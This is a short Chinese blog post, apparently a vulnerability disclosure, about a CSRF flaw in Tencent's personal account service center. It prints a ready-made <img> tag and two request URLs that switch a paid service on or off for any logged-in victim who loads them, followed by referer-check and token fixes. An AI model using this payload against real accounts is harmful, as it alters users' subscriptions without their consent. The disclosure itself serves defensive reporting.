← 返回终端 ~/blog/blog/2013/09/27/1200-5.html 全部文章

腾讯个人业务中心一处csrf

2013-09-27 12:00 #漏洞发布 约 2 分钟

一、详细说明:

二、漏洞证明:

<img src="http://my.pay.qq.com/cgi-bin/account/service_dispose.cgi?outputjson=true&servicecode=LTMCLUB&t=0&f=0.27273003477603197"/>

开通或关闭只有一个参数t参数。

http://my.pay.qq.com/cgi-bin/account/service_dispose.cgi?outputjson=true&servicecode=LTMCLUB&t=1&f=0.27273003477603197

http://my.pay.qq.com/cgi-bin/account/service_dispose.cgi?outputjson=true&servicecode=LTMCLUB&t=0&f=0.27273003477603197

在SESSION没过期的情况,你懂我懂大家懂了。

三、修复方案:

1.加referer验证

2.加token